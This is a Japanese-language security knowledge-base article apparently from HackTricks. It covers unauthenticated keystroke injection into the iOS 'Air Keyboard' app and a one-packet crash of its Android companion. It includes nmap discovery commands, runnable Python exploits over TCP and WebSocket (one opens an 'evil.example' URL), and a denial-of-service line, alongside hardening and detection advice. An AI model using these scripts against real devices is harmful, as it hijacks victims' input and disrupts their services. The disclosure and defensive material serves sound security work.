Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

TL;DR

iOS版の商用**“Air Keyboard”**アプリケーション(App Store ID 6463187929)は、認証や発信元の検証なしにキーストロークフレームを受け入れるローカルネットワークサービスを公開しています。インストールされているバージョンに応じて、サービスは次のいずれかです:

  • ≤ 1.0.4ポート 8888 で2バイトの長さヘッダーの後にdevice-idとASCIIペイロードを期待する生のTCPリスナー。
  • ≥ 1.0.5 (2025年6月)WebSocketリスナーが同じポート(8888)で、{"type":1,"text":"…"}のようなJSONキーを解析します。

したがって、同じWi-Fi / サブネット上の任意のデバイスは、被害者の電話に任意のキーボード入力を注入し、完全なリモートインタラクションのハイジャックを達成できます。 対応するAndroidビルドはポート 55535でリスニングします。弱いAES-ECBハンドシェイクを実行しますが、作成されたゴミデータでもOpenSSL内で未処理の例外を引き起こし、バックグラウンドサービスをクラッシュさせます(DoS)。

この脆弱性は執筆時点(2025年7月)で未修正であり、アプリケーションはApp Storeで利用可能なままです。


1. サービス発見

ローカルネットワークをスキャンし、アプリで使用される2つの固定ポートを探します:

bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24

Android端末では、責任のあるパッケージをローカルで特定できます:

bash
adb shell netstat -tulpn | grep 55535      # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline                 # map PID → package name

脱獄したiOSでは、lsof -i -nP | grep LISTEN | grep 8888を使って似たようなことができます。


2. プロトコルの詳細 (iOS)

2.1 レガシー (≤ 1.0.4) – カスタムバイナリフレーム

[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]

宣言された lengthdevice_id バイトを 含むが 2 バイトのヘッダー自体は含まない。

2.2 現在 (≥ 1.0.5) – WebSocket 上の JSON

バージョン 1.0.5 はポート番号を変更せずに WebSocket に静かに移行しました。最小限のキーストロークは次のようになります:

json
{
"type": 1,              // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}

ハンドシェイク、トークン、または署名は必要ありません - 最初のJSONオブジェクトがすでにUIイベントをトリガーします。


3. エクスプロイトPoC

3.1 ターゲティング ≤ 1.0.4 (生TCP)

python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys

target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n"    # payload visible to the user

frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01"                        # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)

3.2 ターゲティング ≥ 1.0.5 (WebSocket)

python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket  # `pip install websocket-client`

target_ip = sys.argv[1]
ws        = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")

任意の印刷可能なASCII — 改行、タブ、ほとんどの特殊キーを含む — を送信でき、攻撃者は物理的なユーザー入力と同じ力を持ちます:アプリの起動、IMの送信、悪意のあるURLのオープン、設定の切り替えなど。


4. Android Companion – Denial-of-Service

Androidポート(55535)は、ハードコーディングされたAES-128-ECBキーで暗号化された4文字のパスワードの後にランダムなノンスを期待します。 解析エラーはAES_decrypt()にバブルアップし、キャッチされず、リスナースレッドが終了します。 したがって、単一の不正なパケットで、プロセスが再起動されるまで正当なユーザーを切断し続けることができます。

python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS

5. 関連アプリ – 繰り返されるアンチパターン

Air Keyboardは孤立したケースではありません。他のモバイル「リモートキーボード/マウス」ユーティリティも同じ欠陥を抱えています:

  • Telepad ≤ 1.0.7 – CVE-2022-45477/78 は認証されていないコマンド実行とプレーンテキストのキーロギングを許可します。
  • PC Keyboard ≤ 30 – CVE-2022-45479/80 は認証されていないRCEとトラフィックスヌーピングを行います。
  • Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 はデフォルトでパスワードなし、弱いPINのブルートフォースとクリアテキストの漏洩があります。

これらのケースは、モバイルアプリのネットワークに対する攻撃面の体系的な無視を浮き彫りにしています。


6. 根本原因

  1. 受信フレームに対するオリジン/整合性チェックなし(iOS)。
  2. 暗号の誤用(静的キー、ECB、長さ検証の欠如)と例外処理の欠如(Android)。
  3. ユーザーが付与したローカルネットワーク権限 ≠ セキュリティ – iOSはLANトラフィックのためにランタイムの同意を要求しますが、適切な認証の代わりにはなりません。

7. ハードニングと防御策

開発者への推奨:

  • リスナーを**127.0.0.1にバインドし、リモートコントロールが必要な場合はmTLSまたはNoise XX**をトンネリングします。
  • オンボーディング中にデバイスごとの秘密を導出(例:QRコードまたはペアリングPIN)し、入力処理の前に相互認証を強制します。
  • 生のソケットの代わりにNWListener + TLSを使用してApple Network Frameworkを採用します。
  • フレームの復号化またはデコード時に長さプレフィックスの健全性チェックと構造化された例外処理を実装します。

ブルーチーム/レッドチームのクイックウィン:

  • ネットワークハンティング: sudo nmap -n -p 8888,55535 --open 192.168.0.0/16 または Wiresharkフィルター tcp.port == 8888
  • ランタイム検査: socket()/NWConnectionをフックするFridaスクリプトで予期しないリスナーをリストします。
  • **iOSアプリプライバシーレポート(設定 ▸ プライバシーとセキュリティ ▸ アプリプライバシーレポート)**はLANアドレスに接続するアプリを強調表示します – 悪意のあるサービスを見つけるのに役立ちます。
  • モバイルEDRは、ポート8888のクリアテキストTCPペイロード内のJSONキー"selectionStart""selectionEnd"に対してシンプルなYara-Lルールを追加できます。

検出チートシート(ペンテスター)

bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 "  " $4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする